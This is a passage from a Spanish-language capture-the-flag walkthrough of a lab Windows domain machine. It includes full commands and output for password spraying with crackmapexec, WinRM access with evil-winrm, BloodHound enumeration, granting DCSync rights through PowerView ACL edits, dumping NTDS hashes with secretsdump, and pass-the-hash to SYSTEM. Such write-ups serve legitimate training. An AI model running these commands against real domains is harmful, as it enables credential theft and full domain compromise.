Muy bien, obtuvimos el hash MD5 que funcionó, el archivo original que estaba oculto y se guarda su contenido en el archivo que escogimos.
Veamos ese archivo:
cat resultado.txt
...
La misma contraseña.
Obteniendo Archivo Original con steghide y Aplicando Password Spraying con Nueva Contraseña
Probemos que pasa si usamos steghide y el hash MD5 que resulto ser el correcto:
steghide extract -sf big2.jpg
Anotar salvoconducto:
anot� los datos extra�dos e/"frase.txt".
Obtuvimos el archivo oculto original.
Y si lo intentamos ver, podremos ver la misma contraseña:
cat frase.txt
...
Vamos a aplicar Password Spraying a la lista de usuarios que ya tenemos, para ver si esta contraseña pertenece a alguien.
Lo haremos con crackmapexec:
crackmapexec smb 192.168.212.4 -u usuarios.txt -p '******' --no-brute --continue-on-success
SMB 192.168.212.4 445 BIG [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False)
SMB 192.168.212.4 445 BIG [-] bbr.thl\big:****** STATUS_LOGON_FAILURE
SMB 192.168.212.4 445 BIG [-] bbr.thl\song:****** STATUS_LOGON_FAILURE
SMB 192.168.212.4 445 BIG [+] bbr.thl\music:******
SMB 192.168.212.4 445 BIG [-] bbr.thl\administrator:****** STATUS_LOGON_FAILURE
Parece que es la contraseña para el usuario music.
Comprobémoslo:
crackmapexec smb 192.168.212.4 -u 'music' -p '******'
SMB 192.168.212.4 445 BIG [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False)
SMB 192.168.212.4 445 BIG [+] bbr.thl\music:******
Probemos si funciona contra el servicio WinRM:
crackmapexec winrm 192.168.212.4 -u 'music' -p '******'
SMB 192.168.212.4 5985 BIG [*] Windows 10 / Server 2016 Build 14393 (name:BIG) (domain:bbr.thl)
HTTP 192.168.212.4 5985 BIG [*] http://192.168.212.4:5985/wsman
WINRM 192.168.212.4 5985 BIG [+] bbr.thl\music:****** (Pwn3d!)
Sí sirve.
Vamos a autenticarnos con este usuario:
evil-winrm -i 192.168.212.4 -u 'music' -p '******'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
.
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\TEMP\Documents> whoami
bbr\music
Estamos dentro.
Y curiosamente, este usuario sí tiene la flag:
*Evil-WinRM* PS C:\Users\TEMP\Documents> cd C:\Users\Music\Documents
*Evil-WinRM* PS C:\Users\Music\Documents> dir
Directory: C:\Users\Music\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/30/2024 12:53 AM 32 user.txt
*Evil-WinRM* PS C:\Users\Music\Documents> type user.txt
...
Con esto hecho, ya tenemos la contraseña de 2 usuarios.
Post Explotación
Enumeración de AD con BloodHound y SharpHound
Analizando ambos usuarios, parece que el usuario song tiene más privilegios que el usuario music.
Observa los privilegios del usuario song:
*Evil-WinRM* PS C:\Users\TEMP.bbr\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
Compáralo con el usuario music:
*Evil-WinRM* PS C:\Users\Music\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Y parece que los grupos a los que pertenece el usuario song tienen más privilegios:
*Evil-WinRM* PS C:\Users\TEMP.bbr\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators Alias S-1-5-32-548 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
bbr\Privilege users Group S-1-5-21-1487034055-435569681-4283575489-1107 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
Me llama mucho la atención que este usuario este en el grupo Account Operators.
Grupo Account Operators |
---|
Es un grupo predefinido que tiene permisos específicos relacionados con la gestión de cuentas de usuario y grupo dentro de un dominio. Este grupo se usa principalmente para delegar tareas administrativas limitadas sin otorgar privilegios de administrador completo. |
Quizá nos ayude estar dentro de este grupo más adelante.
Para esta máquina, utilizaremos BloodHound Community Edition y SharpHound v1.1.1.
Este blog enseña como instalar BloodHound Community Edition y como usarlo:
Y de aquí puedes conseguir SharpHound v1.1.1:
Carguemos SharpHound a la sesión de evil-winrm del usuario song y trabajemos con este usuario de ahora en adelante:
*Evil-WinRM* PS C:\Users\Music\Desktop> upload SharpHoundV1.exe
Info: Uploading /../TheHackersLabs/Big/content/sharphoundV1.1.1/SharpHoundV1.exe to C:\Users\Music\Desktop\SharpHoundV1.exe
Data: 1402880 bytes of 1402880 bytes copied
Info: Upload successful!
Bien, ahora usémoslo y descarguemos el archivo ZIP resultante:
*Evil-WinRM* PS C:\Users\Music\Desktop> .\SharpHoundV1.exe -c All
2025-04-17T21:49:39.2957598-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
...
...
Closing writers
2025-04-17T21:50:28.4673290-07:00|INFORMATION|Status: 96 objects finished (+96 2)/s -- Using 42 MB RAM
2025-04-17T21:50:28.4673290-07:00|INFORMATION|Enumeration finished in 00:00:48.7349869
2025-04-17T21:50:28.5299496-07:00|INFORMATION|Saving cache with stats: 56 ID to type mappings.
56 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-04-17T21:50:28.5299496-07:00|INFORMATION|SharpHound Enumeration Completed at 9:50 PM on 4/17/2025! Happy Graphing!
.
*Evil-WinRM* PS C:\Users\Music\Desktop> download 20250417215027_BloodHound.zip
Info: Downloading C:\Users\Music\Desktop\20250417215027_BloodHound.zip to 20250417215027_BloodHound.zip
Info: Download successful!
Ya podemos cargar este archivo al BloodHound y lo primero que haremos será buscar al usuario song (no olvides marcarlo como owned):
Podemos ver más claramente a los grupos que pertenece, y ahí vemos al grupo Account Operators.
Además, observa que buscando las cuentas que sean vulnerables al AS-REP Roasting Attack, sale nuestro usuario:
Analizando un poco más, observa lo que podemos ver en las rutas cortas a los sistemas de confianza para la delegación sin restricciones:
Parece que tenemos el permiso GenericAll para el grupo Special Permissions. Y aunque busque información sobre este grupo, parece que es un grupo personalizado para asignar permisos especiales a los usuarios.
Viendo las “rutas cortas para los administradores de dominio”, vemos que el grupo Special Permissions, tiene el permiso de modificar el DACL del contenedor USERS, que a su vez se relaciona con el dominio completo:
Esto ya nos da una idea de que puede ser vulnerable.
Para terminar, si vemos las “rutas cortas de los objetos propios”, encontramos que el grupo Special Permissions tiene el permiso de modificar el DACL del dominio, lo que nos permitiría aplicar el DCSync Attack:
Aplicando DCSync Attack con PowerView
Veamos rápidamente de que va este ataque:
DCSync Attack |
---|
El ataque DCSync es una técnica utilizada por atacantes dentro de un dominio de Active Directory (AD) para extraer credenciales (incluyendo hashes de contraseñas de usuarios, administradores e incluso del krbtgt) directamente desde el controlador de dominio (Domain Controller), sin necesidad de acceso físico al mismo. El ataque DCSync simula el comportamiento de un controlador de dominio (DC) legítimo solicitando replicación de objetos del directorio. En otras palabras, el atacante finge ser otro controlador de dominio y solicita los datos del AD, como si estuviera sincronizándose con el resto del dominio. |
Para este ataque, necesitamos la herramienta PowerView que puedes descargar aquí:
Una vez que lo descargues, súbelo a la sesión de evil-winrm:
*Evil-WinRM* PS C:\Users\song\Desktop> upload PowerView.ps1
Info: Uploading /../TheHackersLabs/Big/content/post/PowerView.ps1 to C:\Users\song\Desktop\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
Carga el PowerView como módulo a la sesión:
*Evil-WinRM* PS C:\Users\song\Desktop> Import-Module .\PowerView.ps1
Ahora bien, en la descripción del permiso WriteDacl, ya nos dan los pasos que debemos seguir.
Para empezar, debemos ser miembros del grupo Special Permissions, siendo que podemos agregarnos de estas dos maneras:
net group "Special Permissions" song /add /domain
.
Add-ADGroupMember -Identity "Special Permissions" -Members "song"
Si salimos de la sesión y volvemos a entrar, ya nos debería aparecer que estamos dentro de ese grupo:
*Evil-WinRM* PS C:\Users\song\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators Alias S-1-5-32-548 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
bbr\Special Permissions Group S-1-5-21-1487034055-435569681-4283575489-1108 Mandatory group, Enabled by default, Enabled group
bbr\Privilege users Group S-1-5-21-1487034055-435569681-4283575489-1107 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
Ahora, seguimos los pasos que nos indican:
- Convertir la contraseña de nuestro usuario en un objeto SecureString para convertirla en una contraseña “segura”.
- Crear el objeto PSCredential, agregándole el dominio, nuestro usuario y la contraseña segura.
- Modificar los permisos del ACL con el comando Add-DomainObjectAcl del módulo PowerView.ps1, para darle los mismos privilegios que tiene el dominio a nuestro usuario song y pueda replicar objetos del AD (incluyendo los hashes).
Apliquémoslo:
*Evil-WinRM* PS C:\Users\song\Desktop> $SecPassword = ConvertTo-SecureString 'contraseña_de_usuario_song' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\song\Desktop> $Cred = New-Object System.Management.Automation.PSCredential('bbr.thl\song', $SecPassword)
*Evil-WinRM* PS C:\Users\song\Desktop> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=bbr,DC=thl" -PrincipalIdentity song -Rights DCSync
Solamente modificamos el último paso, ya que se debe especificar el dominio para que funcione bien.
Con todo esto listo, ya deberíamos poder dumpear los hashes de la máquina víctima:
impacket-secretsdump bbr.thl/song@192.168.212.4
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0b3723455bd8be604ae2e1df74db81b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bbr.thl\Music:1103:aad3b435b51404eeaad3b435b51404ee:8ab1d3828490421d0dc1ddd6e2552d90:::
bbr.thl\song:1104:aad3b435b51404eeaad3b435b51404ee:5919764374e465e68f886ac0c4f75ab3:::
BIG$:1000:aad3b435b51404eeaad3b435b51404ee:0f7d9f62a1d1fdfb48aecc7f2663824e:::
...
...
Excelente, tenemos los hashes.
Podemos comprobar si funcionan los del usuario administrator con crackmapexec:
crackmapexec smb 192.168.212.4 -u "administrator" -H "5d48bcf84aea999fb1ade06970a81237"
SMB 192.168.212.4 445 BIG [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False)
SMB 192.168.212.4 445 BIG [+] bbr.thl\administrator:5d48bcf84aea999fb1ade06970a81237 (Pwn3d!)
crackmapexec smb 192.168.212.4 -u "administrator" -H "aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237"
SMB 192.168.212.4 445 BIG [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False)
SMB 192.168.212.4 445 BIG [+] bbr.thl\administrator:5d48bcf84aea999fb1ade06970a81237 (Pwn3d!)
Tanto el hash NTML, como el hash NT funcionan para SMB.
Pero solamente el hash NT funciona para el servicio WinRM:
crackmapexec winrm 192.168.212.4 -u "administrator" -H "5d48bcf84aea999fb1ade06970a81237"
SMB 192.168.212.4 5985 BIG [*] Windows 10 / Server 2016 Build 14393 (name:BIG) (domain:bbr.thl)
HTTP 192.168.212.4 5985 BIG [*] http://192.168.212.4:5985/wsman
WINRM 192.168.212.4 5985 BIG [+] bbr.thl\administrator:5d48bcf84aea999fb1ade06970a81237 (Pwn3d!)
Con el hash NTLM del administrador, podemos indicarle a crackmapexec que realice una copia de la base de datos NTDS.dit (que almacena las cuentas de usuario y sus hashes de contraseñas en Active Directory) utilizando la técnica de Volume Shadow Copy Service (VSS):
crackmapexec smb 192.168.212.4 -u "administrator" -H "aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237" --ntds vss
SMB 192.168.212.4 445 BIG [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False)
SMB 192.168.212.4 445 BIG [+] bbr.thl\administrator:5d48bcf84aea999fb1ade06970a81237 (Pwn3d!)
SMB 192.168.212.4 445 BIG [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.212.4 445 BIG Administrator:500:aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237:::
SMB 192.168.212.4 445 BIG Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.212.4 445 BIG DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.212.4 445 BIG BIG$:1000:aad3b435b51404eeaad3b435b51404ee:0f7d9f62a1d1fdfb48aecc7f2663824e:::
SMB 192.168.212.4 445 BIG krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0b3723455bd8be604ae2e1df74db81b:::
SMB 192.168.212.4 445 BIG bbr.thl\Music:1103:aad3b435b51404eeaad3b435b51404ee:8ab1d3828490421d0dc1ddd6e2552d90:::
SMB 192.168.212.4 445 BIG bbr.thl\song:1104:aad3b435b51404eeaad3b435b51404ee:5919764374e465e68f886ac0c4f75ab3:::
SMB 192.168.212.4 445 BIG [+] Dumped 7 NTDS hashes to /root/.cme/logs/BIG_192.168.212.4_2025-04-18_134853.ntds of which 6 were added to the database
Listo, ya solo queda autenticarnos como el administrador aplicando el movimiento lateral Pass-The-Hash.
Vamos a hacerlo con impacket-psexec:
impacket-psexec "bbr.thl/administrator"@192.168.212.4 -hashes aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 192.168.212.4.....
[*] Found writable share ADMIN$
[*] Uploading file NwJJoLhv.exe
[*] Opening SVCManager on 192.168.212.4.....
[*] Creating service depx on 192.168.212.4.....
[*] Starting service depx.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Y por último con evil-winrm:
evil-winrm -i 192.168.212.4 -u 'administrator' -H '5d48bcf84aea999fb1ade06970a81237'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
.
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
bbr\administrator
Solamente buscamos la última flag que nos falta:
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/30/2024 5:05 AM 32 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> type root.txt
...
Y con esto terminamos la máquina.
Links de Investigación
- https://infosecwriteups.com/beginners-ctf-guide-finding-hidden-data-in-images-e3be9e34ae0d
- https://github.com/zed-0xff/zsteg
- https://latam.kaspersky.com/resource-center/definitions/what-is-steganography
- https://www.kali.org/tools/stegcracker/
- https://www.reddit.com/r/computerforensics/comments/be92z5/is_there_any_tool_to_identify_steganography/
- https://github.com/bannsec/stegoveritas
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- https://github.com/SpecterOps/SharpHound/releases/tag/v1.1.1
- https://m4lwhere.medium.com/the-ultimate-guide-for-bloodhound-community-edition-bhce-80b574595acf
- https://nordvpn.com/cybersecurity/glossary/steganalysis/
- https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html?highlight=dcsync%20attack#dcsync-1